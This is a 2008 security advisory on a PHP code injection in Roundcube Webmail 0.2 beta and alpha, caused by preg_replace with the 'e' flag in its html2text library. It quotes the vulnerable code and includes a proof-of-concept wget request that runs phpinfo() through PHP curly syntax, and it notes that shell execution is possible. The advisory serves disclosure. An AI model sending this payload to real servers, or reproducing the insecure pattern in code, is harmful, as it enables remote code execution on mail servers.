Roundcube PHP Arbitrary Code Injection
22/Dic/2008Vulnerabilidades
Roundcube PHP Arbitrary Code Injection
22/Dic/2008Vulnerabilidades
Intro
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Roundcube Webmail is a browser-based IMAP client that uses
«chuggnutt.com HTML to Plain Text Conversion» library to convert
HTML text to plain text, this library uses the preg_replace PHP
function in an insecure manner.
Vulnerable versions:
Round Cube RoundCube Webmail 0.2-3 beta
Round Cube RoundCube Webmail 0.2-1 alpha (tested)
Analysis of the vulnerable code
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The script bin/html2text.php creates an instance of the class html2text
with the given POST data, the problem arises in the file
program/lib/html2text.php in function _convert() on line 381:
// Run our defined search-and-replace
$text = preg_replace($this->search, $this->replace, $text);
Some patterns in $this->search allow interpret PHP code using the «e»
flag, i.e.:
‘/]*href =(«|\’)([^»\’]+)\1[^>]*>(.+?)<\/a>/ie’, //
‘/<b[^>]*>(.+?)<\/b>/ie’, //
‘/<th[^>]*>(.+?)<\/th>/ie’, //and
In concrete those would be replaced by:
‘$this->_build_link_list(«\\2», «\\3»)’, //
‘strtoupper(«\\1»)’, //
«strtoupper(\»\t\t\\1\n\»)», //and
Now using PHP complex (curly) syntax we can take advantage of this to
interpret arbitrary PHP code, evaluating PHP code embedded inside
strings.
Proof of Concept
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As this vulnerability was discovered in-the-wild:
http://trac.roundcube.net/ticket/1485618 was quite sure that would be
exploitable, using PHP curly we can execute phpinfo():
wget -q –header=»Content-Type: »» -O – \
–post-data='{${phpinfo()}}’ \
–no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php
Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc
to avoid using single or double quotes the arbitrary shell command
execution is fully feasible. As this vulnerability was discovered last
week no more details will be published yet, more info will be available
at http://sofistic.net.
Jacobo Avariento Gimeno IT Security Department @ Sofistic Your security, our concern! http://sofistic.cuatroochenta.com
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